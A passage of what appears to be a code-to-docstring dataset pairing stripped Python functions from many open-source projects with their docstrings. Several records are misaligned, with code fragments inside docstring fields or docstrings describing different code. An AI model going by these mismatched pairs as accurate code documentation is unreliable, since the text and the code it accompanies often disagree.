hamiltonian tidak ditemukan.contohGraf berikut terdiri dari 5 sisi.Jika kita perhatikan lebih dekat,kita dapat melihat bahwa ada beberapa siklus Hamilton.Misalnya satu hasil adalah ketika kami mengulangi seperti:(0)->(1)->(2)->(4)->(3)->(0)(0)---(1)---(2)| / \\ || / \\ || / \\ ||/ \\|(3)---------(4)>>> graph = [[0, 1, 0, 1, 0],... [1, 0, 1, 1, 1],... [0, 1, 0, 0, 1],... [1, 1, 0, 0, 1],... [0, 1, 1, 1, 0]]>>> hamilton_cycle(graph)[0, 1, 2, 4, 3, 0]contoh keduasama seperti graph kedua, tetapi starting index dari default ke 3(0)---(1)---(2)| / \\ || / \\ || / \\ ||/ \\|(3)---------(4)>>> graph = [[0, 1, 0, 1, 0],... [1, 0, 1, 1, 1],... [0, 1, 0, 0, 1],... [1, 1, 0, 0, 1],... [0, 1, 1, 1, 0]]>>> hamilton_cycle(graph, 3)[3, 0, 1, 2, 4, 3]contoh keduaMengikuti Grafik persis seperti sebelumnya, tetapi tepi 3-4 dihapus.Hasilnya adalah tidak ada lagi Siklus Hamilton.(0)---(1)---(2)| / \\ || / \\ || / \\ ||/ \\|(3) (4)>>> graph = [[0, 1, 0, 1, 0],... [1, 0, 1, 1, 1],... [0, 1, 0, 0, 1],... [1, 1, 0, 0, 0],... [0, 1, 1, 0, 0]]>>> hamilton_cycle(graph,4)[]"} {"code": "def foreign(expr):\n\n return _annotate_columns(expression._clause_element_as_expr(expr),\n {\"foreign\": True})\n\n\n@log.class_logger\n@util.langhelpers.dependency_for(\"sqlalchemy.orm.properties\")\nclass RelationshipProperty(StrategizedProperty):\n \"\"\"Describes an object property that holds a single item or list\n\n strategy_wildcard_key = 'relationship'\n\n _dependency_processor = None\n", "nl": "Annotate a portion of a primaryjoin expressionwith a 'foreign' annotation.See the section :ref:`relationship_custom_foreign` for adescription of use... versionadded:: 0.8.. seealso:::ref:`relationship_custom_foreign`:func:`.remote`"} {"code": "def make_colorwheel():\n\n RY = 15\n YG = 6\n GC = 4\n CB = 11\n BM = 13\n MR = 6\n\n ncols = RY + YG + GC + CB + BM + MR\n colorwheel = np.zeros((ncols, 3))\n col = 0\n\n colorwheel[0:RY, 0] = 255\n colorwheel[0:RY, 1] = np.floor(255*np.arange(0,RY)/RY)\n col = col+RY\n colorwheel[col:col+YG, 0] = 255 - np.floor(255*np.arange(0,YG)/YG)\n colorwheel[col:col+YG, 1] = 255\n col = col+YG\n colorwheel[col:col+GC, 1] = 255\n colorwheel[col:col+GC, 2] = np.floor(255*np.arange(0,GC)/GC)\n col = col+GC\n colorwheel[col:col+CB, 1] = 255 - np.floor(255*np.arange(CB)/CB)\n colorwheel[col:col+CB, 2] = 255\n col = col+CB\n colorwheel[col:col+BM, 2] = 255\n colorwheel[col:col+BM, 0] = np.floor(255*np.arange(0,BM)/BM)\n col = col+BM\n colorwheel[col:col+MR, 2] = 255 - np.floor(255*np.arange(MR)/MR)\n colorwheel[col:col+MR, 0] = 255\n return colorwheel\n\n", "nl": "Generates a color wheel for optical flow visualization as presented in:Baker et al. \"A Database and Evaluation Methodology for Optical Flow\" (ICCV, 2007)URL: http://vision.middlebury.edu/flow/flowEval-iccv07.pdfAccording to the C++ source code of Daniel ScharsteinAccording to the Matlab source code of Deqing Sun"} {"code": "def get_context_option_with_flag(self, category, key):\n try:\n category_map = self._context_options[key]\n except KeyError:\n return None, False\n value = category_map.get(None)\n if category:\n try:\n alt = category_map[category]\n except KeyError:\n pass\n else:\n if value is None or alt != value:\n return alt, True\n return value, False\n", "nl": "return value of specific option, handling category inheritance.also returns flag indicating whether value is category-specific."} {"code": "def __init__(self, p, k, dat):\n self.p = p\n self.k = k\n self.dat = dat\n", "nl": ":params p: an UnnormalizedDensity object:params k: a DifferentiableKernel:params dat: a kgof.data.Data"} {"code": "def page_name_original_metadata(index):\n return \"PageName\n", "nl": "Get the key name for the page name metadata data for the indexed tiff pageThese are TIFF IFD #'s 285+index - zero-based index of the page"} {"code": "def cache_key(self):\n To add and use a new achievement:\n 1. add it to ACHIEVEMENTS below\n 2. call user.kv.achievements.achieve(newnumber) where appropriate\n 3. check with user.kv.achievements[newnumber].get()\n \"\"\"", "nl": " The cache key used to store the details of this object in cache. Bump up the rev as needed. return \"userinfo:%s:details_v6\" % self.user_id@property@memoize(key=lambda self: self.cache_key, time=24*60*60)def details(self):founded = list(self.user.founded_groups.values_list('id', flat=True))return {'group_mod': Category.objects.filter(founder=self.user).exists(),'founded': founded,'moderatable': founded + list(Category.objects.filter(moderators=self.user).values_list('id', flat=True)),'warnings': self.user.user_warnings.filter(disable_user=False).count(),'bans': self.user.user_warnings.filter(disable_user=True).count(),'is_staff': self.user.is_staff}def get_content_details_for_items(items):contents = set(item.content for item in items)details = [content.details() for content in contents if content]return [detail for detail in details if detail is not None]#TODO delete, unused.class StashContent(BaseCanvasModel):content = ForeignKey(Content)user = ForeignKey(User, db_index=True)class RemixPlugin(BaseCanvasModel):author = ForeignKey(User)timestamp = UnixTimestampField(default=0)s3md5 = CharField(max_length=255)def get_url(self):return '/script/' + util.base36encode(self.id)@classmethoddef get_from_short_id(cls, short_id):return get_object_or_404(cls.objects, id=get_mapping_id_from_short_id(short_id))class APIApp(BaseCanvasModel):name = CharField(max_length=255, unique=True)class APIAuthToken(BaseCanvasModel):token = CharField(max_length=40, unique=True)user = ForeignKey(User)app = ForeignKey(APIApp)@classmethoddef generate(cls, user, app):auth_token = cls(token=util.random_token(40), user=user, app=app)auth_token.save()return auth_token@classmethoddef get_or_generate(cls, user, app):return cls.objects.get_or_none(user=user, app=app) or cls.generate(user, app)class Meta(object):unique_together = ('user', 'app')class UserAchievementKV(object):"} {"code": "def but_it_raises_zero_division_error_when_scalefactor_is_0(self, dimensions_):\n dimensions_.return_value = (300, 500)\n slide = Slide(\"/a/b/foo\", \"processed\")\n with pytest.raises(ZeroDivisionError) as err:\n slide._resampled_dimensions(scale_factor=0)\n\n assert isinstance(err.value, ZeroDivisionError)\n assert str(err.value) == \"division by zero\"\n", "nl": "Considering the teset above, this one prove that a wrong behaviour of theuser can cause a zerodivision error. In this case the scale_factor=0 generatesthe ZeroDivision Exception"} {"code": "def test_new_eval_nonuniform(benchmark):\n old_eval_runner(benchmark, cmplx=True)\n\n\n@group_name(\"new_eval\")", "nl": "Benchmark new probabilistic evaluation with non-uniform core tensorsnew_eval_runner(benchmark, uniform=False)@group_name(\"old_eval\")def test_old_eval_complex(benchmark):Benchmark old probabilistic evaluation with complex core tensors"} {"code": "def add_labels(self, labels):\n self.labels.update(labels)\n if self.parent:\n self.parent.add_labels(self.labels)\n", "nl": "Recursively add labels to self and parents."} {"code": "def bias_variable(shape):\n\n Args:\n x: tf.Tensor, input.\n output_size: int, number features in the fully connected layer.\n weight_decay: float, scaling constant for L2 weight decay on weight\n variables.\n activation_fn: function, to process pre-activations, namely x*w+b.\n params: None or a dict containing the values of the weight and bias params.", "nl": "bias_variable generates a bias variable of a given shape.initial = tf.initializers.constant(0.1)return tf.get_variable('bias', shape=shape, initializer=initial)def dense(x, output_size, weight_decay, activation_fn=tf.nn.relu, params=None):Fully connected layer implementation."} {"code": "def pathname2url(pathname):\n return quote(pathname)\n\n\n\n_urlopener = None", "nl": "OS-specific conversion from a file system path to a relative URLof the 'file' scheme; not recommended for general use."} {"code": "def process(self, bot):\n", "nl": "Process the taskif hasattr(self.hook, \"call\"):return self.hook.call(bot)return self.hook(bot)class TimerTask(BaseTask):Representation of a single timer"} {"code": "def get_export_resource_class(self):\n return self.get_resource_class(usage='export')\n", "nl": "Returns ResourceClass to use for export."} {"code": "def has_valid_code(self):\n if self._status_code:\n return self._status_code in VALID_CODES\n return False", "nl": " Returns True if the status code is a valid status code@return: True if the status code is a valid status code@rtype : Bool"} {"code": "def child_process(reader):\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n\n while True:\n print(\"Child process got message through pipe:\\n\\t'%s'\" % reader.get())\n\n\nif __name__ == \"__main__\":\n main()", "nl": "Ignore SIGINT (default handler in CPython is to raise KeyboardInterrupt,which is undesired here). The parent handles it, and instructs the child toclean up as part of handling it."} {"code": "def test_read_partial_frame_with_empty_time_range(self):\n starttime = UTCDateTime('2003-05-29T02:13:22.043400Z')\n testfile = os.path.join(self.path, 'data', 'test.mseed')\n stream = _read_mseed(testfile, starttime=starttime - 1E6,\n endtime=starttime - 1E6 + 1)\n self.assertEqual(len(stream), 0)\n", "nl": "Uses obspy.io.mseed.mseed._read_mseed to read a partial file with atimewindow outside of the actual data. Should return an empty Streamobject."} {"code": "def __init__(self, reactor, proc, name, fileno):\n abstract.FileDescriptor.__init__(self, reactor)\n fdesc.setNonBlocking(fileno)\n self.proc = proc\n self.name = name\n self.fd = fileno\n self.startReading()\n\n", "nl": "Initialize, specifying a process to connect to."} {"code": "def set_state(self, value, reason, data=None):\n return self.connection.set_alarm_state(self.name, reason, value, data)\n", "nl": " Temporarily sets the state of an alarm.:type value: str:param value: OK | ALARM | INSUFFICIENT_DATA:type reason: str:param reason: Reason alarm set (human readable).:type data: str:param data: Reason data (will be jsonified)."} {"code": "def min(self, axis=None, out=None, fill_value=None, keepdims=np._NoValue):\n kwargs = {} if keepdims is np._NoValue else {'keepdims': keepdims}\n\n _mask = self._mask\n newmask = _check_mask_axis(_mask, axis, **kwargs)\n if fill_value is None:\n fill_value = minimum_fill_value(self)\n if out is None:\n result = self.filled(fill_value).min(\n axis=axis, out=out, **kwargs).view(type(self))\n if result.ndim:\n result.__setmask__(newmask)\n if newmask.ndim:\n np.copyto(result, result.fill_value, where=newmask)\n elif newmask:\n result = masked\n return result\n result = self.filled(fill_value).min(axis=axis, out=out, **kwargs)\n if isinstance(out, MaskedArray):\n outmask = getmask(out)\n if outmask is nomask:\n outmask = out._mask = make_mask_none(out.shape)\n outmask.flat = newmask\n else:\n if out.dtype.kind in 'biu':\n errmsg = \"Masked data information would be lost in one or more\"\\\n \" location.\"\n raise MaskError(errmsg)\n np.copyto(out, np.nan, where=newmask)\n return out\n", "nl": "Return the minimum along a given axis.Parameters----------axis : {None, int}, optionalAxis along which to operate. By default, ``axis`` is None and theflattened input is used.out : array_like, optionalAlternative output array in which to place the result. Must be ofthe same shape and buffer length as the expected output.fill_value : {var}, optionalValue used to fill in the masked values.If None, use the output of `minimum_fill_value`.keepdims : bool, optionalIf this is set to True, the axes which are reduced are leftin the result as dimensions with size one. With this option,the result will broadcast correctly against the array.Returns-------amin : array_likeNew array holding the result.If ``out`` was specified, ``out`` is returned.See Also--------minimum_fill_valueReturns the minimum filling value for a given datatype."} {"code": "def segments_to_labels(start_times, end_times, labels, window):\n flags = []\n class_names = list(set(labels))\n index = window / 2.0\n while index < end_times[-1]:\n for i in range(len(start_times)):\n if start_times[i] < index <= end_times[i]:\n break\n flags.append(class_names.index(labels[i]))\n index += window\n return np.array(flags), class_names\n\n", "nl": "This function converts segment endpoints and respective segmentlabels to fix-sized class labels.ARGUMENTS:- start_times: segment start points (in seconds)- end_times: segment endpoints (in seconds)- labels: segment labels- window: fix-sized window (in seconds)RETURNS:- flags: np array of class indices- class_names: list of classnames (strings)"} {"code": "def test_collect_dataset_metadata_concat(store_factory):\n Make sure we return at leat one partition, even if none would be returned by rounding frac * n_partitions\n \"\"\"", "nl": "Smoke-test concatenation of empty and non-empty dataset metadata collections.df = pd.DataFrame(data={\"A\": [1, 1, 1, 1], \"b\": [1, 1, 2, 2]})store_dataframes_as_dataset(store=store_factory, dataset_uuid=\"dataset_uuid\", dfs=[df], partition_on=[\"A\"])df_stats1 = collect_dataset_metadata(store=store_factory, dataset_uuid=\"dataset_uuid\", table_name=\"table\",).compute()# Remove all partitions of the datasetupdate_dataset_from_dataframes([], store=store_factory, dataset_uuid=\"dataset_uuid\", delete_scope=[{\"A\": 1}])df_stats2 = collect_dataset_metadata(store=store_factory, dataset_uuid=\"dataset_uuid\", table_name=\"table\",).compute()pd.concat([df_stats1, df_stats2])def test_collect_dataset_metadata_delete_dataset(store_factory):df = pd.DataFrame(data={\"A\": [1, 1, 1, 1], \"b\": [1, 1, 2, 2]})store_dataframes_as_dataset(store=store_factory, dataset_uuid=\"dataset_uuid\", dfs=[df], partition_on=[\"A\"])# Remove all partitions of the datasetupdate_dataset_from_dataframes([], store=store_factory, dataset_uuid=\"dataset_uuid\", delete_scope=[{\"A\": 1}])df_stats = collect_dataset_metadata(store=store_factory, dataset_uuid=\"dataset_uuid\", table_name=\"table\",).compute()expected = pd.DataFrame(columns=_METADATA_SCHEMA)expected = expected.astype(_METADATA_SCHEMA)pd.testing.assert_frame_equal(expected, df_stats)def test_collect_dataset_metadata_fraction_precision(store_factory):df = pd.DataFrame(data={\"A\": range(100), \"B\": range(100)})store_dataframes_as_dataset(store=store_factory, dataset_uuid=\"dataset_uuid\", dfs=[df], partition_on=[\"A\"],) # Creates 100 partitionsdf_stats = collect_dataset_metadata(store=store_factory, dataset_uuid=\"dataset_uuid\", frac=0.2).compute()assert len(df_stats) == 20def test_collect_dataset_metadata_at_least_one_partition(store_factory):"} {"code": "def site_config_dir(self) -> str:\n\n @property\n @abstractmethod", "nl": ":return: config directory shared by the users@property@abstractmethoddef user_cache_dir(self) -> str::return: cache directory tied to the user"} {"code": "def create_3D_rotations(axis, angle):\n t1 = np.cos(angle)\n t2 = 1 - t1\n t3 = axis[:, 0] * axis[:, 0]\n t6 = t2 * axis[:, 0]\n t7 = t6 * axis[:, 1]\n t8 = np.sin(angle)\n t9 = t8 * axis[:, 2]\n t11 = t6 * axis[:, 2]\n t12 = t8 * axis[:, 1]\n t15 = axis[:, 1] * axis[:, 1]\n t19 = t2 * axis[:, 1] * axis[:, 2]\n t20 = t8 * axis[:, 0]\n t24 = axis[:, 2] * axis[:, 2]\n R = np.stack([\n t1 + t2 * t3, t7 - t9, t11 + t12, t7 + t9, t1 + t2 * t15, t19 - t20,\n t11 - t12, t19 + t20, t1 + t2 * t24\n ],\n axis=1)\n\n return np.reshape(R, (-1, 3, 3))\n\n", "nl": "Create rotation matrices from a list of axes and angles. Code fromwikipedia on quaternions.:param axis: float32[N, 3]:param angle: float32[N,]:return: float32[N, 3, 3]"} {"code": "def a_a(self):\n return self.get(\"d{0}\".format(self.data['a']+1), Type.int_32)\n\n @property", "nl": " Return A[a] register. return self.get(\"a{0}\".format(self.data['a']), Type.int_32)@propertydef d_a_1(self): Return D[a]+1 register. "} {"code": "def p_join(p):\n | strict_aliased_table_expr_list COMMA\"\"\"", "nl": "full_table_expr : aliased_table_expr join_tailp[0] = tq_ast.Join(p[1], p[2])def p_aliased_table_expr_list(p):aliased_table_expr_list : strict_aliased_table_expr_list"} {"code": "def sign(self, msg_hash):\n\n if not self._valid_hash(msg_hash):\n raise ValueError(\"Hash is not sufficiently strong\")\n\n nonce = self._compute_nonce(msg_hash)\n\n z = Integer.from_bytes(msg_hash.digest()[:self._order_bytes])\n sig_pair = self._key._sign(z, nonce)\n\n if self._encoding == 'binary':\n output = b(\"\").join([long_to_bytes(x, self._order_bytes)\n for x in sig_pair])\n else:\n output = DerSequence(sig_pair).encode()\n\n return output\n", "nl": "Produce the DSS signature of a message.:Parameters:msg_hash : hash objectThe hash that was carried out over the message.The object belongs to the `Cryptodome.Hash` package.Under mode *'fips-186-3'*, the hash must be a FIPSapproved secure hash (SHA-1 or a member of the SHA-2 family),of cryptographic strength appropriate for the DSA key.For instance, a 3072/256 DSA key can only be usedin combination with SHA-512.:Return: The signature encoded as a byte string.:Raise ValueError:If the hash algorithm is incompatible to the DSA key.:Raise TypeError:If the DSA key has no private half."} {"code": "def settings(self):\n return Settings(self)\n\n @property", "nl": "Returns the configuration settings for this instance of Splunk.:return: A :class:`Settings` object containing configuration settings."} {"code": "def get_autocomplete(self, *args, **kwargs):\n\n :rtype: str\n \"\"\"", "nl": "Jedi completion.completions = chain(self._complete_call_assigments(with_keywords=True),self._completion())return list(unique(completions, itemgetter(0)))def get_docstring(self, *args, **kwargs):return self._docstring()def get_signature(self, *args, **kwargs):return self._docstring(signature=1)def _docstring(self, signature=0): Jedi show doctring or signature"} {"code": "def get_model(self):\n return self._criterion\n", "nl": "Get the (non-wrapped) model instance.return self._modeldef get_criterion(self):Get the (non-wrapped) criterion instance."} {"code": "def epoch_checking(self, epoch):\n if self.test_res['score'][-1] > self.best_score:\n self.best_score = self.test_res['score'][-1]\n self.cur_patience = 0\n if self.es:\n self.best_epoch = epoch\n else:\n self.cur_patience += 1\n if not self.es:\n self.best_epoch = epoch\n\n if epoch % 5 == 0 and self.es:\n print('Current best {} score {:.6f} @ epoch {}\\n'.format(self.params['primary_metric'],\n self.best_score, self.best_epoch))\n\n if self.max_patience == self.cur_patience and self.es:\n self.best_epoch = epoch - self.max_patience\n return True\n else:\n return False\n\n @staticmethod", "nl": "Perform early stopping.If performance does not improve for a number of consecutive epochs (\"max_patience\")then stop the training and keep the best epoch: stopped_epoch - max_patienceArgs:epoch (int): current training epochReturns: (int) best_epoch, (bool) stop"} {"code": "def tryCondition(self, block):\n currentBlock = self._prevNonEmptyBlock(block)\n if not currentBlock.isValid():\n return None\n\n currentText = currentBlock.text()\n if currentText.rstrip().endswith(';') and \\\n re.search(r'^\\s*(if\\b|[}]?\\s*else|do\\b|while\\b|for)', currentText) is None:\n currentIndentation = self._lineIndent(currentText)\n if not currentIndentation:\n return None\n\n for block in self.iterateBlocksBackFrom(currentBlock.previous()):\n if block.text().strip():\n indentation = self._blockIndent(block)\n\n if len(indentation) < len(currentIndentation):\n if re.search(r'^\\s*(if\\b|[}]?\\s*else|do\\b|while\\b|for)[^{]*$', block.text()) is not None:\n dbg(\"tryCondition: success in line %d\" % block.blockNumber())\n return indentation\n break\n\n return None\n", "nl": " Search for if, do, while, for, ... as we want to indent then.Return null, if nothing useful found.Note: The code is written to be called *after* tryCComment and tryCppComment!"} {"code": "def worker_main(self):\n save_pid('mux')\n\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n ansible_mitogen.logging.set_process_name('mux')\n ansible_mitogen.affinity.policy.assign_muxprocess(self.index)\n\n self._setup_master()\n self._setup_services()\n\n try:\n mitogen.core.io_op(self.model.child_sock.send, b('1'))\n mitogen.core.io_op(self.model.child_sock.recv, 1)\n finally:\n self.broker.shutdown()\n self.broker.join()\n\n os._exit(0)\n", "nl": "The main function of the mux process: setup the Mitogen broker threadand ansible_mitogen services, then sleep waiting for the socketconnected to the parent to be closed (indicating the parent has died)."} {"code": "def __divmod__(self, other):\n if isint(other):\n other = Rat(other)\n elif not isRat(other):\n return NotImplemented\n return divmod(other, self)\n", "nl": "Divide two Rats, returning quotient and remainder.if isint(other):other = Rat(other)elif not isRat(other):return NotImplementedx = self//otherreturn (x, self - other * x)def __rdivmod__(self, other):Divide two Rats, returning quotient and remainder (reversed args)."} {"code": "def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):\n if token_ids_1 is None:\n return [self.cls_token_id] + token_ids_0 + [self.sep_token_id]\n cls = [self.cls_token_id]\n sep = [self.sep_token_id]\n return cls + token_ids_0 + sep + sep + token_ids_1 + sep\n", "nl": "Build model inputs from a sequence or a pair of sequence for sequence classification tasksby concatenating and adding special tokens.A RoBERTa sequence has the following format:single sequence: X pair of sequences: A B "} {"code": "def __init__(self, plugin, selection_color):\n super(CoverSearchPane, self).__init__()\n self.set_orientation(Gtk.Orientation.VERTICAL)\n self.selection_color = selection_color\n\n self.file = \"\"\n self.basepath = 'file://' + plugin.plugin_info.get_data_dir()\n\n self.load_templates(plugin)\n if webkit_support():\n self.init_gui()\n\n self.clear()\n", "nl": "Initializes the pane, loading it's html templates and it's ui."} {"code": "def ExtractResourceIdsFromPragmaWarnings(text):\n used_resources = set()\n lines = text.splitlines()\n for ln in lines:\n match = _WHITELIST_RE.search(ln)\n if match:\n resource_id = int(match.group('resource_id'))\n used_resources.add(resource_id)\n\n return used_resources\n\n", "nl": "Returns set of resource IDs that are inside unknown pragma warnings.Args:text: The text that will be scanned for unknown pragma warnings.Returns:A set containing integers representing resource IDs."} {"code": "def delete_config(self, name):\n item_url = self.obj_url + \"/{}\".format(self._escape_params_url(name))\n body = {\"method\": \"delete\", \"params\": [{\"url\": item_url}], \"session\": self.session}\n response = self.make_request(body)\n\n return response\n", "nl": "This method is used to submit a configuration request to delete an object from the FortiManager.:param name: Type str.The name of the object to be removed from the FortiManager.:return: The response from the API request to delete the configuration."} {"code": "def watch_op(self, cmd, path, value, vsys=None, cmd_xml=True, interval=1.0):\n if interval is not None:\n try:\n interval = float(interval)\n if interval < 0:\n raise ValueError\n except ValueError:\n raise err.PanDeviceError('Invalid interval: %s' % interval)\n\n if vsys is None:\n vsys = self.vsys\n\n self._logger.debug(\"Waiting for value %s...\" % value)\n\n start_time = time.time()\n attempts = 0\n while True:\n attempts += 1\n xml = self.xapi.op(cmd=cmd, cmd_xml=cmd_xml)\n status = xml.find(\"./result/%s\" % path)\n if status is None:\n raise err.PanNoSuchNode(\"No element at path\")\n current_value = status.text\n logger.debug(\"Current value %s\" % current_value)\n\n if current_value == value:\n return True\n\n if (self.timeout is not None and self.timeout != 0 and\n time.time() > start_time + self.timeout):\n raise err.PanJobTimeout(\"Timeout waiting for value: %s\" % value)\n\n logger.debug(\"Sleep %.2f seconds\" % interval)\n time.sleep(interval)\n", "nl": "Watch an operational command for an expected valueBlocks script execution until the value exists or timeout expiresArgs:cmd (str): Operational command to runpath (str): XPath to the value to watchvalue (str): The value expected before method completesvsys (str): Vsys id for the operational commandcmd_xml (bool): True: cmd is not XML, False: cmd is XML (Default: True)interval (float): Interval in seconds to check if the value exists"} {"code": "def test_close():\n cache.set(\"num\", 20)\n\n cache.decr(\"num\")\n res = cache.get(\"num\")\n self.assertEqual(res, 19)\n\n cache.decr(\"num\", 20)\n res = cache.get(\"num\")\n self.assertEqual(res, -1)\n\n cache.decr(\"num\", 2)\n res = cache.get(\"num\")\n self.assertEqual(res, -3)\n\n cache.set(\"num\", 20)\n\n cache.decr(\"num\")\n res = cache.get(\"num\")\n self.assertEqual(res, 19)\n\n cache.set(\"num\", 9223372036854775808)\n\n cache.decr(\"num\")\n res = cache.get(\"num\")\n self.assertEqual(res, 9223372036854775807)\n\n cache.decr(\"num\", 2)\n res = cache.get(\"num\")\n self.assertEqual(res, 9223372036854775805)\n", "nl": "Calling close on the cache backend should not raise any errordefault_cache = caches[\"default\"]default_cache.set(\"f\", \"1\")default_cache.close()def test_decr(self):Test the decr cache operation"} {"code": "def get_local_rank() -> int:\n if not dist.is_available():\n return 0\n if not dist.is_initialized():\n return 0\n assert _LOCAL_PROCESS_GROUP is not None\n return dist.get_rank(group=_LOCAL_PROCESS_GROUP)\n\n", "nl": "Returns:The rank of the current process within the local (per-machine) process group."} {"code": "def filter(self, record):\n if self.nlen == 0:\n return 1\n elif self.name == record.name:\n return 1\n elif record.name.find(self.name, 0, self.nlen) != 0:\n return 0\n return (record.name[self.nlen] == \".\")\n\nclass Filterer(object):\n \"\"\"", "nl": "Determine if the specified record is to be logged.Is the specified record to be logged? Returns 0 for no, nonzero foryes. If deemed appropriate, the record may be modified in-place."} {"code": "def ToJsonString(self):\n self.Clear()\n if value:\n for path in value.split(','):\n self.paths.append(_CamelCaseToSnakeCase(path))\n", "nl": "Converts FieldMask to string according to proto3 JSON spec.camelcase_paths = []for path in self.paths:camelcase_paths.append(_SnakeCaseToCamelCase(path))return ','.join(camelcase_paths)def FromJsonString(self, value):Converts string to FieldMask according to proto3 JSON spec."} {"code": "def google_has_height(style):\n emphasis = []\n if 'text-decoration' in style:\n emphasis.append(style['text-decoration'])\n if 'font-style' in style:\n emphasis.append(style['font-style'])\n if 'font-weight' in style:\n emphasis.append(style['font-weight'])\n return emphasis\n", "nl": "check if the style of the element has the 'height' attribute explicitly definedif 'height' in style:return Truereturn Falsedef google_text_emphasis(style):return a list of all emphasis modifiers of the element"} {"code": "def __init__(self):\n self.max_turn = 40\n self.max_initiative = 4\n\n self.goal_generator = GoalGenerator()\n\n self.__turn = 0\n self.goal = None\n self.agenda = None\n\n Policy.__init__(self)\n", "nl": "Constructor for User_Policy_Agenda class."} {"code": "def test_no_new_privs(self):\n with open('/proc/self/cmdline') as fd:\n orig = len(fd.read())\n title = \"This is a test!\"\n prctl.set_proctitle(title)\n with open('/proc/self/cmdline') as fd:\n cmdline = fd.read().rstrip('\\n\\0')\n self.assertEqual(cmdline, title)\n title2 = \"And this is a test too! Don't segfault.\" * 3\n prctl.set_proctitle(title2)\n with open('/proc/self/cmdline') as fd:\n cmdline = fd.read().rstrip('\\n\\0')\n self.assertEqual(cmdline, title2[:orig-1])\n", "nl": "Test the no_new_privs functionself.assertEqual(prctl.get_no_new_privs(), 0)if not (os.stat('/bin/ping').st_mode & stat.S_ISUID):# Test doesn't work unless ping is setuidreturnpid = os.fork()if pid:self.assertEqual(os.waitpid(pid, 0)[1], 0)else:prctl.set_no_new_privs(1)self.assertEqual(prctl.get_no_new_privs(), 1)if os.geteuid() != 0:sp = subprocess.Popen(['ping', '-c1', 'localhost'], stderr=subprocess.PIPE)sp.communicate()self.assertNotEqual(sp.returncode, 0)os._exit(0)@require('pac_reset_keys')def test_pac_reset_keys(self):if self.arch == 'arm64':# FIXME untestedself.assertEqual(prctl.pac_reset_keys(prctl.PAC_APIAKEY), None)self.assertRaises(ValueError, prctl.pac_reset_keys, 0xff)else:self.assertRaises(OSError, prctl.pac_reset_keys, prctl.PAC_APIAKEY)def test_proctitle(self):Test setting the process title, including too long titles"} {"code": "def test_rank_test_zero_variance(self):\n logging.getLogger(\"tensorflow\").setLevel(logging.ERROR)\n logging.getLogger(\"batchglm\").setLevel(logging.WARNING)\n logging.getLogger(\"diffxpy\").setLevel(logging.WARNING)\n\n np.random.seed(1)\n sim = Simulator(num_observations=1000, num_features=10)\n sim.generate_sample_description(num_batches=0, num_conditions=0)\n sim.generate()\n sim.input_data.x[:, 0] = 0\n sim.input_data.x[:, 1] = 5\n\n random_sample_description = pd.DataFrame({\n \"condition\": np.random.randint(2, size=sim.nobs)\n })\n\n test = de.test.rank_test(\n data=sim.input_data,\n sample_description=random_sample_description,\n grouping=\"condition\",\n is_sig_zerovar=True\n )\n\n assert np.isnan(test.pval[0]) and test.pval[1] == 1, \\\n \"rank test did not assign p-value of zero to groups with zero variance and same mean, %f, %f\" % \\\n (test.pval[0], test.pval[1])\n return True\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test if rank test works if it is given genes with zero variance."} {"code": "def test_authors_full(self):\n papers = read(datapath)\n for paper in papers:\n self.assertNotEqual(len(paper.authors_full), 0, \"Author_full list cannot be empty\")\n\n", "nl": "Tests for empty author_full names for each paper in a ZOTERO CorpusReturns-------Fails : When the author_full names is empty, it fails."} {"code": "def batched_nms(self, bboxes, scores, inds, max_out_count, nms_threshold):\n max_coordinate = tf.reduce_max(bboxes)\n offsets = tf.cast(inds, bboxes.dtype) * (max_coordinate + 1)\n bboxes_for_nms = bboxes + offsets[:, None]\n return tf.raw_ops.NonMaxSuppressionV2(boxes=bboxes_for_nms,\n scores=scores, max_output_size=max_out_count, iou_threshold=nms_threshold)\n", "nl": "TODO: move to utilsArgs:bboxes: (N, 4)scores: (N,)inds: (N,) indicates the class/level of bboxIn order to perform NMS independently per class, we add an offset to allthe boxes. The offset is dependent only on the class idx, and is largeenough so that boxes from different classes do not overlap."} {"code": "def get_and_verify_timed_enable_ms(self, timed_enable_ms: Optional[int]) -> int:\n assert self.platform is not None\n if timed_enable_ms is None:\n timed_enable_ms = self._timed_enable_ms\n\n if not isinstance(timed_enable_ms, int):\n raise AssertionError(\"Wrong type {}\".format(timed_enable_ms))\n\n if self.config['max_hold_duration'] and timed_enable_ms > self.config['max_hold_duration']:\n raise DriverLimitsError(\"Driver {} may not be held with timed_enable_ms {} because max_hold_duration is {}\".\n format(self.name, timed_enable_ms, self.config['max_hold_duration']))\n\n return timed_enable_ms\n\n @event_handler(2)", "nl": "Return and verify timed_enable_ms to use.If timed_enable_ms is None return the default."} {"code": "def np2th(weights, conv=False):\n", "nl": "Possibly convert HWIO to OIHW.if conv:weights = weights.transpose([3, 2, 0, 1])return torch.from_numpy(weights)def swish(x):return x * torch.sigmoid(x)ACT2FN = {\"gelu\": torch.nn.functional.gelu, \"relu\": torch.nn.functional.relu, \"swish\": swish}class StdConv2d(nn.Conv2d):def forward(self, x):w = self.weightv, m = torch.var_mean(w, dim=[1, 2, 3], keepdim=True, unbiased=False)w = (w - m) / torch.sqrt(v + 1e-5)return F.conv2d(x, w, self.bias, self.stride, self.padding, self.dilation, self.groups)def conv3x3(cin, cout, stride=1, groups=1, bias=False):return StdConv2d(cin, cout, kernel_size=3, stride=stride, padding=1, bias=bias, groups=groups)def conv1x1(cin, cout, stride=1, bias=False):return StdConv2d(cin, cout, kernel_size=1, stride=stride, padding=0, bias=bias)class PreActBottleneck(nn.Module):Pre-activation (v2) bottleneck block."} {"code": "def _get_conn(self, timeout=None):\n conn = None\n try:\n conn = self.pool.get(block=self.block, timeout=timeout)\n\n except AttributeError:\n raise ClosedPoolError(self, \"Pool is closed.\")\n\n except queue.Empty:\n if self.block:\n raise EmptyPoolError(\n self,\n \"Pool reached maximum size and no more connections are allowed.\",\n )\n pass\n\n if conn and is_connection_dropped(conn):\n log.debug(\"Resetting dropped connection: %s\", self.host)\n conn.close()\n if getattr(conn, \"auto_open\", 1) == 0:\n conn = None\n\n return conn or self._new_conn()\n", "nl": "Get a connection. Will return a pooled connection if one is available.If no connections are available and :prop:`.block` is ``False``, then afresh connection is returned.:param timeout:Seconds to wait before giving up and raising:class:`urllib3.exceptions.EmptyPoolError` if the pool is empty and:prop:`.block` is ``True``."} {"code": "def int_parameter(level, maxval):\n return int(level * maxval / 